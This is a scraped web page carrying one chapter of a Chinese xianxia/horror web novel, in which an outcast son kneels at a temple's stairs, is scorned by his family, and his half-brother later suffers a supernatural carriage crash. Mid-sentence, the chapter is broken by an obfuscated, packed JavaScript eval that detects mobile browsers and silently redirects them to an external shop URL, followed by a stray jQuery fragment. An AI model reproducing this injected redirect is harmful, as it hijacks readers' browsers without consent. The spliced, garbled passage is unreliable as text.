文趣网 > 其他小说 > 恶蚀洗骨[无限] > 16.【吉】蛛丝佃4
    马车不算奢华,倒也干净齐整。

    温酒酒抱着牌位上了车,萧明决随后跟上,两人相对而坐,一时只有车轮碾过石子路发出的辘辘声响。街上人来人往,摊贩的叫卖声此起彼伏,偶有孩童追逐,从马车旁笑着跑过。

    可温酒酒却想着赤峰观的事。

    赤峰观在赤峰上,只因为山腰往上的土皆是赤红色,如血染一般,故得此名。可温酒酒从未上去过,只听旁人说起,那上面仙雾缭绕,终年不散,白鹤成群,时而在云间穿行,时而落于松枝。

    花艳草灵,灵芝遍地,清泉潺潺,简直就是一处仙境,绝不是凡间的景致。山脚下的大户人家,都将逝去亲人的牌位供在观中,每逢十五便举家入观烧香,青烟袅袅可直上九霄。

    更离奇的是,赤峰山的北面是赤峰观,南面却还有一座玉露庙。玉露庙里供奉的不是金身菩萨,而是一位小观音,真真切切的观音命。

    那女子出生那日,天上忽然飘来七色云彩,绚烂如锦,久旱的赤峰山竟降下甘露,干裂的田地得以滋润。有世外高人算过时辰,说这是菩萨降世,观音转世。

    果不其然,那女子自小便有赐福之能,病者抚之即愈,困者求之得安。五岁那年,她被送上玉露庙,成了小观音。她上山那日,赤峰山九百九十九层台阶忽然光芒普照,如金玉铺就,耀眼生辉。但奇异的是,没有福祉的人不得上山,一旦踩上那台阶,便会血流如注。

    于是人人敬畏,都说那台阶只载福德之人。从此,南面玉露庙香火鼎盛,山雾飘荡在赤峰山的云雾之间,与赤峰观遥遥相对。

    “你在想什么?”萧明决瞧出酒酒出神了。

    温酒酒垂下眼帘:“没什么……只是想,人与人当真不同命。我与那小观音同日同时辰落地,怎么她就有祥云来贺,我就上不去山了?”

    “山有什么好上的?不上就不上。”萧明决从袖中取出一个小小的油纸包,里面是几块桂花糕,还温热着。

    “我就与你不同,烦心事不过心,吃饱了再说。”萧明决笑着给他递递,“路上垫垫。”

    温酒酒心想,也对,父亲既然说了要带娘亲的灵位上山,今日就是好日子。他拿起一块桂花糕,小口小口地吃了起来。

    马车出了城,渐渐行了一个时辰。路两旁的景物从热闹的街市变成了山林,等温酒酒闻出了檀香气时,赤峰山就快到了。

    马儿在赤峰山脚下缓缓停稳,温酒酒掀开车帘,往外看去,真是好高的山。

    赤峰山拔地而起,上头的山势巍峨陡峭。从山脚到山腰,九百九十九层石阶蜿蜒而上,石阶两旁枝叶交错,遮天蔽日,而最引人注目的,是那石阶本身。

    每一层都泛着莹莹的微光,明明是白日,它又似玉石在月光下折射出的佛光。这便是赤峰观的“福光”,小观音的愿力所化,只有福泽深厚的人才能安然无恙地踏上去。

    温酒酒年幼时并不相信,偷偷试过无数次,每次一踏上赤峰山的石阶便疼痛难忍,再多走几步,便有鲜血从鞋底渗出。

    “到了。”温酒酒放下帘子,转头对萧明决说,“你在马车里等我,不必下来了。”

    萧明决便点头同意了,他知道酒酒是担心他,毕竟自己也没有福祉,容易被“福光”伤着。

    温酒酒抱着牌位下了马车,往来的信男善女络绎不绝,有的提香烛,有的捧供品,三三两两地沿着石阶往上走。唯独他上不去。

    温酒酒走到石阶的最下面,双膝跪了下去。

    石阶前的泥土微凉,温酒酒挺直脊背,目光出神地看着山路的尽头,一动不动的。清瘦的身形跪在那里,上山的人从他身旁经过,纷纷侧目。有认出他来的,便窃窃私语起来。

    “那不是温家那个外室子吗?怎么跪在这儿?”

    “他娘是个花姬,牌位没资格入观的。”

    “啧啧,怪可怜的。”

    “可怜什么?一个花姬也配入赤峰观?她的牌位别脏了小观音娘娘的佛光。”

    这些话语,温酒酒已经听了很多年。起初真是痛不欲生,恨不得将他们一一挖心割舌,后来渐渐麻木了,再后来,便连麻木都觉不出了,只要娘亲能入观就好。

    他等的人还没来,今日是十五,温博仁差不多要到了。

    晨光从山间洒落,将石阶上的福光镀了一层鎏金般的光,温酒酒忽地想到姜绥的金面具。他立马打消了这个念头,姜绥的事关自己什么事,真是多想了。

    跪了半炷香,膝盖已经开始发麻,终于,山路上传来一阵脚步声,他也听到了熟悉的说笑声。

    为首的是一个年过半百的男子,虽然上了年纪,依稀还能看出年轻时的风流倜傥,正是温酒酒的亲爹温博仁。

    身后跟着四个人,两男两女。走在最前面的是温家二公子温淮言,正妻所生的嫡子,生得眉清目秀,只是面色苍白,身子单薄,走几步路便要停下来喘一喘气,身边还跟着两个小厮搀扶。

    当年温博仁家中有一妻两妾,可是久久身子没有动静。没想到他在外头的兰花姬居然有了,不足半月已经开始害喜。温博仁哪里肯认,还是仙楼那日来了一位高人,说温博仁命中原本无子无女,可安兰是意外怀上的,而且安兰肚子里的孩子命中有手足。

    结果真让这高人说准了,当日温博仁回去,郎中已在家中等候,恭喜大老爷,一妻两妾全有了身孕。就这样,温博仁才给安兰赎了身,养在外头。

    只不过气坏了正妻,她吃了催生药想要抢在安兰前头生下长子,反倒伤了胎气。

    温淮言身后跟着的是三公子温淮清,庶出,比温淮言小几天,生得白白净净。再后面是两个姑娘,大小姐温庭雪,正妻所生的嫡女,神情倨傲,二小姐温冬怡,同样是庶出,刁钻古怪。

    这就是他温酒酒的手足。

    那高人到底算了个什么?还不如没有手足。温酒酒看着温博仁一步步走近,等到温博仁走到他面前时,终于开了口:“父亲……”

    温博仁的脚步顿了一下,快速扫了一眼温酒酒,像看什么邪祟,径直走了上去。

    温酒酒本能地提高了声音:“父亲!”

    温博仁依旧没有回头。温酒酒的五脏六腑跟着难受,但他顾不得那么多了,今日有求于人,他不能退缩。

    “父亲!”温酒酒深吸一口气,连声音都那么单薄,“你说过,我只要和姜家成婚,娘亲的牌位便能入观。”

    温博仁已经走了十几节石阶,在他的身后,温淮言、温庭雪、温冬怡依次跟上,所有人都从温酒酒身边走过,没有一个人多看他一眼。

    温淮清故意走在最后,居高临下地看着跪在地上的温酒酒:“兄长怎么跪在这里?多不好看,叫旁人看了去,还以为我们温家苛待你呢。”

    温酒酒咽下苦涩,一字一句地说

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588360|204438||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    :“你让开,我在跟父亲说话。”

    “父亲?”温淮清笑了起来,“你娘不过是个花姬罢了,外室野种,连入族谱都没有。”

    温酒酒的指甲深深掐进了掌心,瞳孔竖着缩了一刹。

    “温淮清。”温酒酒的声音很轻,冷冷地笑回去,“就算我这个外室子不入族谱,你上头还有一个温淮言,轮得到你什么?”

    这是温淮清的心头大恨,就差了几日,自己连个庶长子都没做上:“要不是你娘耍手段怀了你这个野种,你以为父亲会多看她一眼?”

    语毕,温淮清笑着踏上了石阶,留下最后一句飘散在风里:“跪着吧,说不定小观音大发慈悲,让你上去了呢。”

    温酒酒的丹田处不安分地鼓动起来,一股恨意缠绕着他的五脏六腑。他笑着对温淮清说:“好啊,我的好三弟,你慢慢走,好好地走。”

    丹田处不甘心地翻涌了几下,好不容易才慢慢平息。

    温家若是上山,必定会留下吃斋,在傍晚落日之前下山,回城天色就黑了。温淮言和温博仁同车,温淮清自己一辆,大小姐虽然看不上二小姐,可两人也是同车。

    两个马夫给温淮清驾车,其中一个也不知怎么的,只觉得遍体生寒。他不禁问旁边的:“嘶……这日头一落下去,风都阴冷冷的。”

    “这马也不大对。”旁边那个揪着缰绳,两匹马躁动不安,好似有野兽在追赶。

    “你说……这林子里不会有怨鬼吧?”马夫是给自己壮胆子,“不该有,我活到今日就没瞧见过……”

    下一刻,马车无来由地朝着右边急奔,两匹马都疯了。他想要叫旁边的收一把缰绳,可身边哪里有人,方才还和他说话的人被一股巨大的力量抽了出去,顿时挂在了树上!

    再一低头,不知何时他腿上多了一只爪子。马夫只觉得眼前一黑,便什么都不知道了。

    他是不知道了,可马匹还在狂奔,山道上传来一阵阵惊恐的嘶鸣声,紧接着马车剧烈颠簸起来,撞上了山道旁的巨石。温淮清一声凄厉的惨叫划破了山林上空的寂静。

    等温酒酒回来的时候,天完全黑了。

    马车在正午时分就回来了,只不过车上会有一个明决。他既然要做这事,就不会落下把柄。没想到刚从偏门进来,正门就响起纷乱的叩门声,陈赟带着几个小厮去看,刚开了门缝,外头涌入二三十个家丁,且都是壮丁。

    温酒酒刚好站在廊下,被围了个水泄不通。“你们是疯了吗?做什么?”

    “三少爷的腿断了,三少爷让我们抓你回去问一问!”为首的一个壮丁说。

    温酒酒差点窃喜地笑出来:“哦?腿断了?早上还好好的呢,还好端端地上了石阶。这事与我何关?我正午归家,谁顾得上他。”

    “我们少爷正午就回来了。”陈赟挡在温酒酒面前,面不改色地瞒着。

    “谁管你几时回来!三少爷要我们抓你,我们抓的就是你!”为首的壮丁吼了一声,后面的蠢蠢欲动,就要上手。温酒酒不愿他们触碰自己,又不好当着这么多人的面动手。

    他若是动了手,这些人一个都不能活,越杀越多。

    就在这时,一道阴冷的声线抵在所有人身后,同时飘来了血腥味。

    “你们抓他做什么?他正午归家,一直在伺候我,这才刚出屋,你们泼着脏水就来了。”姜绥扶着月洞门,支离破碎地说。